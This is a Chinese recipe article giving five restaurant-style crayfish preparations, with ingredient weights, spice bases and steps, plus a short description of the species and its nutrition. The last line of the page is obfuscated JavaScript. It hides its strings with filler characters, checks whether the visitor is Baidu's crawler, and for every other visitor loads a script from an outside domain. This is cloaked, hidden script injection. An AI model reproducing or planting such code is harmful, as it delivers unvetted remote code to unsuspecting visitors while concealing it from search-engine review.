當(dāng)前位置:首頁(yè) > 飲食 > 烹飪技巧 > 正文

炎熱的夏天和小龍蝦一起燃燒吧 五風(fēng)味來(lái)襲快快收藏

2019-05-24 16:00:59  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):夏季爆品當(dāng)屬小龍蝦,對(duì)于湘菜來(lái)說(shuō)口味蝦和鹵蝦是常見(jiàn)風(fēng)味,但是顧客的口味大多是求新、求奇,所以餐廳要把菜品創(chuàng)新擺在重要的位置。今天為

夏季爆品當(dāng)屬小龍蝦,對(duì)于湘菜來(lái)說(shuō)口味蝦和鹵蝦是常見(jiàn)風(fēng)味,但是顧客的口味大多是求新、求奇,所以餐廳要把菜品創(chuàng)新擺在重要的位置。今天為大家介紹5道小龍蝦的做法,希望今夏能為大家的火爆生意添把旺火。下面和360常識(shí)網(wǎng)一起來(lái)看吧。

燃燒吧!小龍蝦 五種風(fēng)味來(lái)襲

小龍蝦(學(xué)名:Procambarus clarkii):也稱克氏原螯蝦、紅螯蝦和淡水小龍蝦。形似蝦而甲殼堅(jiān)硬。成體長(zhǎng)約5.6~11.9厘米,暗紅色,甲殼部分近黑色,腹部背面有一楔形條紋。幼蝦體為均勻的灰色,有時(shí)具黑色波紋。螯狹長(zhǎng)。甲殼中部不被網(wǎng)眼狀空隙分隔,甲殼上明顯具顆粒。額劍具側(cè)棘或額劍端部具刻痕。

是淡水經(jīng)濟(jì)蝦類,因肉味鮮美廣受人們歡迎。因其雜食性、生長(zhǎng)速度快、適應(yīng)能力強(qiáng)而在當(dāng)?shù)厣鷳B(tài)環(huán)境中形成絕對(duì)的競(jìng)爭(zhēng)優(yōu)勢(shì)。 其攝食范圍包括水草、藻類、水生昆蟲(chóng)、動(dòng)物尸體等,食物匱缺時(shí)亦自相殘殺。小龍蝦近年來(lái)在中國(guó)已經(jīng)成為重要經(jīng)濟(jì)養(yǎng)殖品種。在商業(yè)養(yǎng)殖過(guò)程中應(yīng)嚴(yán)防逃逸,尤其是嚴(yán)防逃入人跡罕至的原生態(tài)水體。其對(duì)當(dāng)?shù)匚锓N生態(tài)競(jìng)爭(zhēng)優(yōu)勢(shì)而導(dǎo)致破壞性危害。

營(yíng)養(yǎng)價(jià)值

小龍蝦體內(nèi)的蛋白質(zhì)含量很高,且肉質(zhì)松軟,易消化,對(duì)身體虛弱以及病后需要調(diào)養(yǎng)的人是極好的食物;蝦肉內(nèi)還富含鎂、鋅、碘、硒等,鎂對(duì)心臟活動(dòng)具有重要的調(diào)節(jié)作用,能保護(hù)心血管系統(tǒng),它可減少血液中膽固醇含量,防止動(dòng)脈硬化,同時(shí)還能擴(kuò)張冠狀動(dòng)脈,有利于預(yù)防高血壓及心肌梗塞。小龍蝦含有蝦青素,蝦青素是一種很強(qiáng)的抗氧化劑,日本大阪大學(xué)的科學(xué)家發(fā)現(xiàn),蝦青素有助消除因時(shí)差反應(yīng)而產(chǎn)生的"時(shí)差癥"。另外,小龍蝦還可入藥,能化痰止咳,促進(jìn)手術(shù)后的傷口生肌愈合。

長(zhǎng)沙新口味--貢椒蒜香小龍蝦

在傳統(tǒng)蒜香小龍蝦的制作基礎(chǔ)上配上湖南本地的黃貢椒,在用蒜蓉、蒜子、蒜蓉醬一起烹調(diào),菜肴蒜香濃郁,貢椒的脆鮮味更好的融入到龍蝦里面。

原料:清水小龍蝦1千克。

調(diào)料:黃貢椒20克,自制蒜蓉醬150克,蒜蓉80克,蒜子50克,鹽12克,大紅浙醋10克,東古一品鮮15克,白糖8克,鮮味粉5克,紅油200克,色拉油2.5千克(約耗60克)。

制作方法:

1.將小龍蝦刷洗干凈,去掉沙線,剪掉小龍蝦頭部的尖。

2.鍋內(nèi)放入色拉油,燒至六七成熱時(shí),放入小龍蝦拉油至八成熟,撈出控油。

3.另起鍋再次放入紅油,燒至四五成熱時(shí),放入蒜蓉醬、蒜子、蒜蓉、黃貢椒炒香,下入炸好的小龍蝦,倒入清水500克,放入剩余調(diào)料,大火燒開(kāi),改小火燒10分鐘左右,大火收汁,出鍋裝入容器內(nèi)即可。

自制蒜蓉醬:鍋內(nèi)放入色拉油2千克,燒至五成熱時(shí),放入蒜蓉2.5千克、海天蒜蓉辣椒醬3千克、蠔油200克,小火熬至香味濃郁、油色紅亮即可出鍋。

腌泡小龍蝦--浸泡三小時(shí)入味

腌泡小龍蝦是借鑒了四川泡菜的方法制作,成菜肉質(zhì)鮮嫩,酸辣回甜。

原料:清水小龍蝦2.5千克。

調(diào)料:A料(八角、白芷各10克,豆蔻、花椒各15克,桂皮5克,姜片20克,花雕酒50克),自制味汁(以沒(méi)過(guò)小龍蝦為宜)。

制作方法:

1.將小龍蝦刷洗干凈,去掉沙線,剪掉小龍蝦頭部。

2.鍋內(nèi)加入水燒開(kāi),放入A料大火煮5分鐘,下入小龍蝦轉(zhuǎn)中火,煮10分鐘左右,關(guān)火浸泡2分鐘后撈出,將殘?jiān)謇砀蓛簦艣龊蠓湃胱灾莆吨瓋?nèi),浸泡3小時(shí)撈出擺盤(pán)即可。

備注:泡龍蝦時(shí),可以加入西芹條、胡蘿卜條、萵筍條、彩椒條搭配顏色。

自制味汁:鍋內(nèi)放入水7.5千克燒開(kāi),放入鹽300克,綿白糖250克,野山椒700克,小米辣500克,大蔥段、姜片各50克,花雕酒20克和香料(香葉、山柰各10克,桂皮3克,八角5克) 煮約5分鐘,倒入家樂(lè)辣鮮露200克,白醋500克、味精50克調(diào)勻,離火放涼即可使用。

燃燒吧!小龍蝦 五種風(fēng)味來(lái)襲

咸蛋黃小龍蝦--換個(gè)風(fēng)味也很香

多次加工后的小龍蝦殼咬起來(lái)都酥脆,在配咸蛋黃等料炒香,成菜香味濃郁。

原料:清水小龍蝦1千克,香菜1克。

調(diào)料:高度白酒10克,調(diào)制鹽水(純凈水2千克,藥芹段100克,蔥、姜、鹽各20克),色拉油2千克(約耗80克),咸鴨蛋黃6個(gè)

A料(糖10克,鹽20克,雞精15克)。

制作:

1.將小龍蝦提前在清水中放養(yǎng)半日,滴入白酒,讓其吐去腹中污漬,再逐個(gè)刷洗,摘取尾部蝦腸,剪去少許頭部。

2.咸鴨蛋蛋黃蒸熟,打碎,加入A料拌勻。

3.將小龍蝦放入調(diào)制好的鹽水中浸泡15分鐘左右,撈出入燒至七成熱的色拉油中,小火炸至蝦殼紅亮(約20秒),撈出控油,再入燒至六成熱的色拉油中,速炸至蝦殼酥脆,撈起控油。

4.鍋內(nèi)留底油,放入蛋黃蓉迅速攪拌充分至起泡,下入小龍蝦翻炒,出鍋裝盤(pán),用香菜點(diǎn)綴。

特別提醒:

1.咸蛋黃不能用盒裝成品,會(huì)影響香味,購(gòu)高郵咸鴨蛋過(guò)來(lái)取蛋黃,味道香醇濃郁。

2.做蛋黃小龍蝦要分開(kāi)兩次過(guò)油,將龍蝦肉的水分炸干,制作出來(lái)的效果才能完美,長(zhǎng)時(shí)間不變味。

3.制作蛋黃小龍蝦選擇龍蝦型號(hào)在678(青殼蝦)最合適,不宜過(guò)大。

燃燒吧!小龍蝦 五種風(fēng)味來(lái)襲

麻辣小龍蝦  第四代更新版

以前制作麻辣小龍蝦,都是加入麻辣醬煸炒,現(xiàn)在我們熬制了一款麻辣底料,用它再制作麻辣湯料,油炸后的小龍蝦只需要放入熱的麻辣湯中浸泡10分鐘即可上桌,做好的成品肉質(zhì)更加嫩滑,而且上菜速度也更快。

原料:清水小龍蝦1千克,香菜1克。

調(diào)料:骨頭湯2.5千克,自制麻辣底料500克,鹽25克,雞粉100克,色拉油2千克(約耗100克)。

制作方法:

1.將小龍蝦刷洗干凈,放入燒至七成熱的色拉油中,中火浸炸至蝦肉剛剛成熟,取出控油。

2.取骨頭湯加入麻辣底料大火燒開(kāi),改小火熬至麻辣味濃郁,用鹽和雞粉調(diào)味,保持湯汁微沸的狀態(tài)。

3.客人點(diǎn)菜時(shí),將油炸小龍蝦放入燒沸的麻辣湯料中浸泡10分鐘即可。

自制麻辣底料 :

1.取八角200克,桂皮、山柰、丁香、干香茅草、拍松的草果各50克,白豆蔻25克,小茴香120克,香葉100克,干紅花椒300克,香果20克,蓽撥、香草各5克用清水浸泡30分鐘,取出控干水分,用香料包包好。

2.鍋內(nèi)放入菜子油12.5千克,大火加熱至油冒煙,關(guān)火冷卻至六成熱,再放入色拉油12.5千克,放入蔬菜料(拍松的老姜、拍松的大蔥段各500克,香菜100克),中火炸至蔬菜料變成金黃色,撈出料渣,放入郫縣豆瓣醬10千克,中火炒干豆瓣的水分,再放入糍粑辣椒5千克,繼續(xù)炒干辣椒的水分,最后放入提前處理好的香料,小火煸炒40分鐘即可。

燃燒吧!小龍蝦 五種風(fēng)味來(lái)襲

燃燒吧!小龍蝦--做法還可以升級(jí)

燃燒吧!小龍蝦這道菜的做法非常簡(jiǎn)單。取小龍蝦白灼至熟后澆上高度白酒點(diǎn)燃,配辣海鮮汁蘸食,刺激的辣味過(guò)后是鮮嫩的蝦肉,此菜成菜氣氛好,口味也不錯(cuò)。

原料:清水小龍蝦1千克。

調(diào)料:65度高度白酒200克,鹽300克,生姜50克,大蔥30克,自制海鮮汁60克。

制作方法:

1.將小龍蝦刷洗干凈,去掉沙線。

2.鍋內(nèi)放入清水1.5千克,下入生姜、大蔥燒開(kāi),放入小龍蝦白灼至熟,取出擺入容器內(nèi),撒上一層鹽,倒入高度白酒,上桌后當(dāng)著客人的面將其點(diǎn)燃,火焰消退后即可取小龍蝦蘸辣海鮮汁食用。

自制辣海鮮汁:

1.鍋內(nèi)放入純凈水15千克,放入胡蘿卜條、白蘿卜條、西芹段、圓蔥塊各500克,鮮小米辣1000克,老姜500克,蒜頭500克,大火燒開(kāi),改小火熬制10分鐘,撈出料渣。

2.調(diào)料(李錦記蒸魚(yú)豉油3.8升,老抽800克,生抽600克,美極雞粉250克,家樂(lè)雞汁、雙橋味精各400克,美極鮮味汁450克,家樂(lè)辣鮮露200克,)事先調(diào)勻,倒入熬好的蔬菜水中,大火燒開(kāi),持續(xù)大火加熱2分鐘,關(guān)火,放入香蔥末、香菜末、高度白酒各500克,浸泡20分鐘后撈出即可。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}